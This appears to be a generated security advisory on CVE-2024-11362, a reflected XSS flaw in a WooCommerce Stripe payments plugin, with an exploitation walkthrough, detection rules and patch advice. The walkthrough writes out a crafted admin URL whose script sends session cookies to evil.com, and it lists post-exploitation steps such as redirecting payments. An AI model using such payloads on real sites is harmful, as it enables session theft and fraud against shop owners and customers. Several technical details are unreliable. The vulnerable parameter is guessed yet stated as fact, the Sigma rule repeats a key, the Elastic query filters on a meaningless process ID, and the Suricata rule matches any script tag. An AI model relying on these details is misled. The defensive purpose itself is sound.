CVE-2024-11362

Executive Summary

CVE-2024-11362 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Stripe Payments Plugin and Checkout Plugin for WooCommerce (which also supports PayPal, Square, and Authorize.net) for WordPress. All versions up to and including 1.112.0 are affected, allowing unauthenticated attackers to inject arbitrary web scripts via URLs that are processed without proper escaping by the add_query_arg function. The vulnerability has a CVSS score of 6.1 (Medium severity) and requires user interaction, specifically tricking a victim into clicking a crafted link. Successful exploitation can lead to session hijacking, credential theft, or forced actions within the context of the authenticated victim's WordPress admin session.

Technical Analysis

The vulnerability resides in the way the plugin constructs URLs using the WordPress core function add_query_arg. This function is used to build URLs by appending query parameters to a base URI. The flaw is triggered when a user-controlled input, such as a request parameter (e.g., _wp_http_referer), is passed through add_query_arg without prior sanitization or escaping via functions like esc_url() or esc_html().

The attack surface is entirely remote and network-based (AV:N). Because the plugin does not validate or sanitize the input before using it in URL generation, an attacker can craft a malicious link where the unsanitized input contains a payload like "><script>alert(document.cookie)</script>. When the victim clicks this link and the plugin generates the corresponding page output, the injected script is rendered as part of the HTML, and the victim's browser executes it.

The attack is considered "Reflected" because the malicious payload is part of the URL (i.e., reflected back in the response) rather than stored on the server. No authentication is required to craft the malicious URL (PR:N), but the attack only succeeds when a user is tricked into clicking the link (UI:R). The impact scope is changed (S:C) because the injection can affect resources beyond the vulnerable component, potentially allowing the attacker to redirect the victim's browser, modify the page content, or steal sensitive data like session cookies, which would then be sent to the attacker's server. The plugin's use of add_query_arg is widespread across its admin-facing pages and callback URLs, making the attack surface broad but requiring a logged-in user to visit the page for maximum impact.

Exploitation Scenarios

An attacker targets any WordPress site running the vulnerable Stripe Payments Plugin version 1.112.0 or earlier.

1. Reconnaissance: The attacker identifies vulnerable sites by fingerprinting the WordPress installation. They may check for the presence of the plugin via the wp-content/plugins/payment-plugins-stripe/ directory path in the page source, HTTP headers, or by probing for known plugin readme files. Alternatively, they could use a search engine or Shodan dork to find WordPress sites with checkout functionality.
2. Weaponization: The attacker crafts a malicious URL. Because the vulnerable parameter is likely one used in the checkout process or admin settings (common candidates include add_query_arg calls with $wp->request or a redirect parameter), the attacker constructs a link pointing to a legitimate plugin page, appending a crafted query string. For example, the URL would look like: https://victim-site.com/wp-admin/admin.php?page=wc-settings&tab=checkout&section=stripe&_wpnonce=<valid_nonce>&_wp_http_referer=%22%3E%3Cscript%3Efetch('https://evil.com/steal?c='%2Bdocument.cookie)%3C%2Fscript%3E. The exact parameter varies, but the core is injecting an encoded XSS payload into the URL.
3. Delivery and Execution: The attacker sends this crafted link to a victim via phishing email, social media direct message, or a forum comment. The victim, likely an administrator or shop manager, clicks the link. The plugin processes the request, and because the _wp_http_referer value is passed unsanitized through add_query_arg, the plugin outputs the URL with the JavaScript payload directly into the HTML source. The victim’s browser parses the HTML, encounters the <script> tag, and executes the attacker’s code.
4. Post-Exploitation: The injected JavaScript executes in the victim's browser session with the privileges of the logged-in user. If the victim is an administrator, the attacker can:
   • Steal the administrator's session cookie and hijack the session.
   • Inject a new admin user account via an AJAX call to the WordPress REST API.
   • Modify the Stripe/PayPal gateway settings to point to the attacker's payment processor, redirecting customer payments.
   • Upload a malicious plugin or theme to achieve persistent backdoor access and complete site takeover.

Impact Assessment

The primary impact is the confidentiality and integrity of the WordPress site, with a technical impact rating of Low on both vectors as per the CVSS score (C:L/I:L). However, the business impact can be amplified significantly because this is a payment plugin. A successful XSS attack on an administrator could allow an attacker to:

• Financial Fraud: Redirect all customer payment transactions to the attacker's account by altering the stored API keys or gateway settings, leading to direct financial theft.
• Data Breach: The attacker may exfiltrate customer personally identifiable information (PII) from the orders database, including names, addresses, and potentially payment card data if stored (though PCI DSS guidelines recommend against storing full card data).
• Reputational Damage: A compromised checkout process erodes customer trust, leading to lost sales and potential PCI DSS compliance violations, which can result in fines and the loss of the ability to process credit cards.
• Blast Radius: The attack requires the victim to click a link, limiting the blast radius to authenticated users of the site. The total impact is medium severity due to the requirement for user interaction (UI:R). The "Changed" scope (S:C) indicates that an attacker can pivot from the XSS to other application resources (e.g., modifying the database, changing user roles), which elevates the practical impact beyond simple script injection.

The affected systems are any WordPress instance running the Stripe Payments Plugin <= 1.112.0. Given that the plugin supports multiple payment gateways (Stripe, PayPal, Square, Authorize.net), any site using these features through this plugin is at risk.

Detection Guidance

Sigma Rule

title: Reflected XSS Attempt via add_query_arg in Stripe WooCommerce Plugin
id: 8b3c8a2e-9f0c-4a5b-8d1e-2f3a4b5c6d7e
status: experimental
description: Detects HTTP requests targeting the Stripe Payments Plugin for WooCommerce with common XSS payloads encoded in URL parameters.
logsource:
  category: webserver
  product: apache
  service: access_log
detection:
  selection_path:
    cs-uri-path:
      - '*wp-admin*'
      - '*checkout*'
  selection_payload:
    cs-uri-query|contains:
      - '<script>'
      - '%3Cscript%3E'
      - 'onerror='
      - 'javascript:'
      - '%22%3E%3C'
    cs-uri-query|contains:
      - 'section=stripe'
      - 'payment_method=stripe'
      - 'payment_method=paypal'
  condition: selection_path and selection_payload
  timeframe: 5m
level: medium
tags:
  - attack.t1204
  - attack.t1059.007
  - cve.2024.11362

YARA Rule

rule CVE_2024_11362_Reflected_XSS_Stripe_Woo {
    meta:
        author = "ValterIT SOC"
        description = "Detects XSS payloads targeting the Stripe WooCommerce plugin"
        date = "2024-12-01"
        vulnerability = "CVE-2024-11362"
    strings:
        $a1 = "section=stripe" ascii wide nocase
        $a2 = "payment_method=stripe" ascii wide nocase
        $a3 = "payment_method=paypal" ascii wide nocase
        $b1 = "<script>" ascii wide nocase
        $b2 = "<script%20" ascii wide nocase
        $b3 = "onerror=" ascii wide nocase
        $b4 = "javascript:alert" ascii wide nocase
        $b5 = "%3Cscript%3E" ascii
    condition:
        1 of ($a*) and 1 of ($b*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET WEB_SPECIFIC_APPS CVE-2024-11362 Reflected XSS in Stripe WooCommerce Plugin"; flow:established,to_client; content:"HTTP/1.1 200 OK"; http_header; content:"<script>"; http_response_body; sid:20241136201; rev:1; metadata:attack_target Web_Server, deployment Perimeter, signature_severity Major, created_at 2024_12_01, updated_at 2024_12_01; classtype:web-application-attack;)

Elastic Detection

network where process.pid == 0 and
  network.protocol == "http" and
  url.path like "*wp-admin*" and
  user_agent.name != "kube-probe" and
  url.query like "%section=stripe%" and
  (
    url.query like "*%3Cscript%3E*" or
    url.query like "*<script>*" or
    url.query like "*onerror=*" or
    url.query like "*javascript:alert*"
  )

Splunk SPL Query

index=web sourcetype=access_combined
| where uri_path IN ("/wp-admin/*", "/checkout/*")
| regex uri_query="(?i)(<script>|%3Cscript%3E|onerror=|javascript:alert)"
| regex uri_query="(?i)(section=stripe|payment_method=stripe|payment_method=paypal)"
| stats count by clientip, uri_path, uri_query, _time

Wazuh OSSEC Rule

<group name="web_application_attack,">
  <rule id="100290" level="7">
    <decoded_as>json</decoded_as>
    <field name="url" type="pcre2">(?i)wp-admin|checkout</field>
    <field name="url" type="pcre2">(?i)(%3Cscript%3E|&lt;script&gt;|onerror=|javascript:alert)</field>
    <field name="url" type="pcre2">(?i)(section=stripe|payment_method=stripe|payment_method=paypal)</field>
    <description>Possible CVE-2024-11362 Reflected XSS attempt against Stripe WooCommerce plugin</description>
    <mitre>
      <id>T1204</id>
      <id>T1059.007</id>
    </mitre>
    <group>web_application_attack,xss,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch exists, not independently confirmed).

1. Immediate Mitigations:

   • Web Application Firewall (WAF): Deploy or configure a WAF rule to block HTTP requests containing common XSS payload signatures in query strings, specifically targeting WordPress admin paths and checkout URLs.
   • Access Restriction: Until the patch is confirmed and applied, restrict access to /wp-admin/ directories using IP allowlisting or VPN to reduce the attack surface, forcing users to perform admin actions from trusted networks.
   • User Education: Warn authenticated administrators and shop managers to avoid clicking on unsolicited links, especially those containing query parameters.

2. Patch/Upgrade Steps:

   • Check for Updates: The NVD description states the plugin is vulnerable "up to, and including, 1.112.0." Therefore, a patched version likely exists in version 1.112.1 or later.
   • Apply Update: Navigate to wp-admin/plugins.php and check for a plugin update. If a new version is available, click "Update Now" or download the latest version from the WordPress Plugin Repository and install it manually.
   • Verify: Immediately after upgrading, re-test the checkout and admin settings pages to ensure functionality and clear any caching plugins that may serve stale, vulnerable code.

3. Long-Term Hardening:

   • Keep Core and Plugins Updated: Enforce a scheduled maintenance window for weekly updates of WordPress core, all plugins, and themes.
   • Code Review Policy: For any custom or third-party code, enforce a security review policy that mandates the use of esc_url() and esc_html() for any output generated using add_query_arg.
   • Principle of Least Privilege: Audit WordPress user roles and remove administrator permissions from users who do not require them. This limits the impact of an XSS attack if a lower-privileged user is tricked.
   • Content Security Policy (CSP): Implement a CSP header with script-src 'self' to provide a defense-in-depth layer that blocks the execution of externally hosted malicious scripts even if an XSS injection flaw is present in the future.

References

• National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2024-11362
• WordPress Plugin Repository (Patched Version Reference): https://wordpress.org/plugins/payment-plugins-stripe/
• MITRE ATT&CK Technique - User Execution: https://attack.mitre.org/techniques/T1204/
• OWASP Reflected XSS Explanation: https://owasp.org/www-community/attacks/xss/

Note on Exploit-in-the-Wild: At the time of writing, there is no evidence or reporting of this CVE being actively exploited in the wild. No threat actor campaigns have been identified, and the CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.